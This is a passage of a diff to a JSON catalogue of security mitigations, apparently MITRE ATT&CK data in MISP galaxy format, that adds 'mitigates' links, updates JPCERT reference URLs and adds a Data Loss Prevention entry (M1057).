"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx",
"https://technet.microsoft.com/en-us/library/ee791851.aspx"
@@ -2519,6 +2575,167 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "mitigates"
+ },
+ {
+ "dest-uuid": "8c32eb4d-805f-4fc5-bf60-c4d476c131b5",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "mitigates"
+ },
+ {
+ "dest-uuid": "b80d107d-fa0d-4b60-9684-b0433e8bdba0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "mitigates"
+ },
+ {
+ "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "mitigates"
+ },
+ {
+ "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "mitigates"
+ },
+ {
+ "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "mitigates"
+ },
+ {
+ "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "mitigates"
+ },
+ {
+ "dest-uuid": "d157f9d2-d09a-4efa-bb2a-64963f94e253",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "mitigates"
+ },
+ {
+ "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "mitigates"
+ },
+ {
+ "dest-uuid": "3b744087-9945-4a6f-91e8-9dbceda417a4",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "mitigates"
+ },
+ {
+ "dest-uuid": "2c4d4e92-0ccf-4a97-b54c-86d662988a53",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "mitigates"
+ },
+ {
+ "dest-uuid": "79a47ad0-fc3b-4821-9f01-a026b1ddba21",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "mitigates"
+ },
+ {
+ "dest-uuid": "a9e2cea0-c805-4bf8-9e31-f5f0513a3634",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "mitigates"
+ },
+ {
+ "dest-uuid": "bf147104-abf9-4221-95d1-e81585859441",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "mitigates"
+ },
+ {
+ "dest-uuid": "3d1b9d7e-3921-4d25-845a-7d9f15c0da44",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "mitigates"
+ },
+ {
+ "dest-uuid": "34f1d81d-fe88-4f97-bd3b-a3164536255d",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "mitigates"
+ },
+ {
+ "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "mitigates"
+ },
+ {
+ "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "mitigates"
+ },
+ {
+ "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "mitigates"
+ },
+ {
+ "dest-uuid": "0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "mitigates"
+ },
+ {
+ "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "mitigates"
+ },
+ {
+ "dest-uuid": "ed7efd4d-ce28-4a19-a8e6-c58011eb2c7a",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "mitigates"
+ },
+ {
+ "dest-uuid": "910906dd-8c0a-475a-9cc1-5e029e2fad58",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "mitigates"
+ },
+ {
+ "dest-uuid": "09cd431f-eaf4-4d2a-acaf-2a7acfe7ed58",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "mitigates"
}
],
"uuid": "90f39ee1-d5a3-4aaa-9f28-3b42815b0d46",
@@ -2554,7 +2771,7 @@
"refs": [
"https://attack.mitre.org/mitigations/T1500",
"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599",
- "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
+ "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html",
"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx",
"https://technet.microsoft.com/en-us/library/ee791851.aspx"
@@ -2841,7 +3058,7 @@
"refs": [
"https://attack.mitre.org/mitigations/T1080",
"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599",
- "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
+ "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html",
"https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx",
"https://technet.microsoft.com/en-us/library/ee791851.aspx"
@@ -3001,7 +3218,7 @@
"refs": [
"https://attack.mitre.org/mitigations/T1061",
"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599",
- "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
+ "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html",
"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx",
"https://technet.microsoft.com/en-us/library/ee791851.aspx"
@@ -3099,7 +3316,7 @@
"refs": [
"https://attack.mitre.org/mitigations/T1202",
"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599",
- "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
+ "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html",
"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx",
"https://technet.microsoft.com/en-us/library/ee791851.aspx",
@@ -3254,7 +3471,7 @@
"refs": [
"https://attack.mitre.org/mitigations/T1063",
"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599",
- "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
+ "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html",
"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx",
"https://technet.microsoft.com/en-us/library/ee791851.aspx"
@@ -3279,7 +3496,7 @@
"refs": [
"https://attack.mitre.org/mitigations/T1046",
"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599",
- "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
+ "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html",
"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx",
"https://technet.microsoft.com/en-us/library/ee791851.aspx"
@@ -3514,7 +3731,7 @@
"https://blogs.technet.microsoft.com/askcore/2013/03/24/alternate-data-streams-in-ntfs/",
"https://www.symantec.com/connect/articles/what-you-need-know-about-alternate-data-streams-windows-your-data-secure-can-you-restore",
"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599",
- "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
+ "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html",
"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx",
"https://technet.microsoft.com/en-us/library/ee791851.aspx",
@@ -3592,7 +3809,7 @@
"https://adsecurity.org/?p=556",
"https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf",
"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599",
- "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
+ "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html",
"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx",
"https://technet.microsoft.com/en-us/library/ee791851.aspx"
@@ -4141,7 +4358,7 @@
"refs": [
"https://attack.mitre.org/mitigations/T1494",
"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599",
- "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
+ "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html",
"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx",
"https://technet.microsoft.com/en-us/library/ee791851.aspx"
@@ -4591,7 +4808,7 @@
"refs": [
"https://attack.mitre.org/mitigations/T1020",
"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599",
- "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
+ "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html",
"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx",
"https://technet.microsoft.com/en-us/library/ee791851.aspx"
@@ -4664,7 +4881,7 @@
"https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material#a-nameesaebmaesae-administrative-forest-design-approach",
"https://technet.microsoft.com/en-us/library/dn408187.aspx",
"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599",
- "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
+ "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html",
"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx",
"https://technet.microsoft.com/en-us/library/ee791851.aspx",
@@ -4785,7 +5002,7 @@
"refs": [
"https://attack.mitre.org/mitigations/T1009",
"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599",
- "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
+ "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html",
"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx",
"https://technet.microsoft.com/en-us/library/ee791851.aspx"
@@ -4964,6 +5181,20 @@
],
"type": "mitigates"
},
+ {
+ "dest-uuid": "6747daa2-3533-4e78-8fb8-446ebb86448a",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "mitigates"
+ },
+ {
+ "dest-uuid": "b22e5153-ac28-4cc6-865c-2054e36285cb",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "mitigates"
+ },
{
"dest-uuid": "29e07491-8947-43a3-8d4e-9a787c45f3d3",
"tags": [
@@ -5872,7 +6103,7 @@
"https://technet.microsoft.com/en-us/library/cc732713.aspx",
"https://technet.microsoft.com/en-us/library/cc731150.aspx",
"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599",
- "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
+ "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html",
"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx",
"https://technet.microsoft.com/en-us/library/ee791851.aspx"
@@ -6670,6 +6901,34 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "mitigates"
+ },
+ {
+ "dest-uuid": "cff94884-3b1c-4987-a70b-6d5643c621c3",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "mitigates"
+ },
+ {
+ "dest-uuid": "5d0d3609-d06d-49e1-b9c9-b544e0c618cb",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "mitigates"
+ },
+ {
+ "dest-uuid": "d456de47-a16f-4e46-8980-e67478a12dcb",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "mitigates"
+ },
+ {
+ "dest-uuid": "8565825b-21c8-4518-b75e-cbc4c717a156",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "mitigates"
}
],
"uuid": "93e7968a-9074-4eac-8ae9-9f5200ec3317",
@@ -6682,7 +6941,7 @@
"refs": [
"https://attack.mitre.org/mitigations/T1108",
"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599",
- "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
+ "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html",
"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx",
"https://technet.microsoft.com/en-us/library/ee791851.aspx",
@@ -6804,7 +7063,7 @@
"refs": [
"https://attack.mitre.org/mitigations/T1022",
"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599",
- "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
+ "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html",
"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx",
"https://technet.microsoft.com/en-us/library/ee791851.aspx"
@@ -8055,6 +8314,20 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "mitigates"
+ },
+ {
+ "dest-uuid": "b46a801b-fd98-491c-a25a-bca25d6e3001",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "mitigates"
+ },
+ {
+ "dest-uuid": "28170e17-8384-415c-8486-2e6b294cb803",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "mitigates"
}
],
"uuid": "9bb9e696-bff8-4ae1-9454-961fc7d91d5f",
@@ -8417,6 +8690,13 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "mitigates"
+ },
+ {
+ "dest-uuid": "11f29a39-0942-4d62-92b6-fe236cf3066e",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "mitigates"
}
],
"uuid": "2f316f6c-ae42-44fe-adf8-150989e0f6d3",
@@ -8725,7 +9005,7 @@
"https://msdn.microsoft.com/en-us/library/ff919712.aspx",
"https://skanthak.homepage.t-online.de/sentinel.html",
"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599",
- "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
+ "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html",
"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
]
@@ -8777,7 +9057,7 @@
"https://technet.microsoft.com/library/jj852168.aspx",
"https://technet.microsoft.com/library/dn221960.aspx",
"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599",
- "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
+ "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html",
"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx",
"https://technet.microsoft.com/en-us/library/ee791851.aspx"
@@ -9214,7 +9494,7 @@
"refs": [
"https://attack.mitre.org/mitigations/T1093",
"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599",
- "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
+ "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html",
"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx",
"https://technet.microsoft.com/en-us/library/ee791851.aspx"
@@ -9393,6 +9673,83 @@
"uuid": "787fb64d-c87b-4ee5-a341-0ef17ec4c15c",
"value": "Do Not Mitigate - M1055"
},
+ {
+ "description": "Use a data loss prevention (DLP) strategy to categorize sensitive data, identify data formats indicative of personal identifiable information (PII), and restrict exfiltration of sensitive data.(Citation: PurpleSec Data Loss Prevention)",
+ "meta": {
+ "external_id": "M1057",
+ "refs": [
+ "https://attack.mitre.org/mitigations/M1057",
+ "https://purplesec.us/data-loss-prevention/"
+ ]
+ },
+ "related": [
+ {
+ "dest-uuid": "e6415f09-df0e-48de-9aba-928c902b7549",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "mitigates"
+ },
+ {
+ "dest-uuid": "a3e1e6c5-9c74-4fc0-a16c-a9d228c17829",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "mitigates"
+ },
+ {
+ "dest-uuid": "40597f16-0963-4249-bf4c-ac93b7fb9807",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "mitigates"
+ },
+ {
+ "dest-uuid": "a19e86f8-1c0a-4fea-8407-23b73d615776",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "mitigates"
+ },
+ {
+ "dest-uuid": "8e350c1d-ac79-4b5c-bd4e-7476d7e84ec5",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "mitigates"
+ },
+ {
+ "dest-uuid": "fb8d023d-45be-47e9-bc51-f56bcae6435b",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "mitigates"
+ },
+ {
+ "dest-uuid": "92d7da27-2d91-488e-a00c-059dc162766d",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "mitigates"
+ },
+ {
+ "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "mitigates"
+ },
+ {
+ "dest-uuid": "1b7ba276-eedc-4951-a762-0ceea2c030ec",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "mitigates"
+ }
+ ],
+ "uuid": "65401701-019d-44ff-b223-08d520bb0e7b",
+ "value": "Data Loss Prevention - M1057"
+ },
{
"description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about processes, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
"meta": {
@@ -9426,7 +9783,7 @@
"https://attack.mitre.org/mitigations/T1087",
"https://www.stigviewer.com/stig/microsoft_windows_server_2012_member_server/2013-07-25/finding/WN12-CC-000077",
"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599",
- "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
+ "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html",
"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx",
"https://technet.microsoft.com/en-us/library/ee791851.aspx"
@@ -9568,7 +9925,7 @@
"refs": [
"https://attack.mitre.org/mitigations/T1114",
"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599",
- "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
+ "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html",
"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx",
"https://technet.microsoft.com/en-us/library/ee791851.aspx"
@@ -9613,7 +9970,7 @@
"refs": [
"https://attack.mitre.org/mitigations/T1115",
"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599",
- "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
+ "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html",
"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx",
"https://technet.microsoft.com/en-us/library/ee791851.aspx"
@@ -9681,7 +10038,7 @@
"refs": [
"https://attack.mitre.org/mitigations/T1119",
"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599",
- "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
+ "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html",
"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx",
"https://technet.microsoft.com/en-us/library/ee791851.aspx"
@@ -9774,7 +10131,7 @@
"refs": [
"https://attack.mitre.org/mitigations/T1125",
"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599",
- "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
+ "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html",
"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx",
"https://technet.microsoft.com/en-us/library/ee791851.aspx"
@@ -10181,7 +10538,7 @@
"refs": [
"https://attack.mitre.org/mitigations/T1186",
"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599",
- "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
+ "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html",
"https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx",
"https://technet.microsoft.com/en-us/library/ee791851.aspx"
@@ -10341,7 +10698,7 @@
"https://attack.mitre.org/mitigations/T1488",
"https://www.ready.gov/business/implementation/IT",
"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599",
- "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
+ "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html",
"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx",
"https://technet.microsoft.com/en-us/library/ee791851.aspx"
@@ -10437,13 +10794,6 @@
],
"type": "mitigates"
},
- {
- "dest-uuid": "54a649ff-439a-41a4-9856-8d144a2551ba",
- "tags": [
- "estimative-language:likelihood-probability=\"almost-certain\""
- ],
- "type": "mitigates"
- },
{
"dest-uuid": "3257eb21-f9a7-4430-8de1-d8b6e288f529",
"tags": [
@@ -10653,6 +11003,20 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "mitigates"
+ },
+ {
+ "dest-uuid": "cff94884-3b1c-4987-a70b-6d5643c621c3",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "mitigates"
+ },
+ {
+ "dest-uuid": "54a649ff-439a-41a4-9856-8d144a2551ba",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "mitigates"
}
],
"uuid": "b045d015-6bed-4490-bd38-56b41ece59a0",
@@ -11605,6 +11969,27 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "mitigates"
+ },
+ {
+ "dest-uuid": "351ddf79-2d3a-41b4-9bef-82ea5d3ccd69",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "mitigates"
+ },
+ {
+ "dest-uuid": "ccde43e4-78f9-4f32-b401-c081e7db71ea",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "mitigates"
+ },
+ {
+ "dest-uuid": "2f0e8d80-4b8b-4f4a-b5cc-132afe7e057d",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "mitigates"
}
],
"uuid": "1553b156-6767-47f7-9eb4-2a692505666d",
@@ -11848,6 +12233,20 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "mitigates"
+ },
+ {
+ "dest-uuid": "351ddf79-2d3a-41b4-9bef-82ea5d3ccd69",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "mitigates"
+ },
+ {
+ "dest-uuid": "a64a820a-cb21-471f-920c-506a2ff04fa5",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "mitigates"
}
],
"uuid": "653492e3-27be-4a0e-b08c-938dd2b7e0e1",
@@ -11971,7 +12370,7 @@
"refs": [
"https://attack.mitre.org/mitigations/T1014",
"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599",
- "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
+ "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html",
"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx",
"https://technet.microsoft.com/en-us/library/ee791851.aspx"
@@ -12631,6 +13030,41 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "mitigates"
+ },
+ {
+ "dest-uuid": "c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "mitigates"
+ },
+ {
+ "dest-uuid": "cff94884-3b1c-4987-a70b-6d5643c621c3",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "mitigates"
+ },
+ {
+ "dest-uuid": "b17a1a56-e99c-403c-8948-561df0cffe81",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "mitigates"
+ },
+ {
+ "dest-uuid": "f232fa7a-025c-4d43-abc7-318e81a73d65",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "mitigates"
+ },
+ {
+ "dest-uuid": "11f29a39-0942-4d62-92b6-fe236cf3066e",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "mitigates"
}
],
"uuid": "2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a",
@@ -13213,7 +13647,7 @@
"refs": [
"https://attack.mitre.org/mitigations/T1036",
"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599",
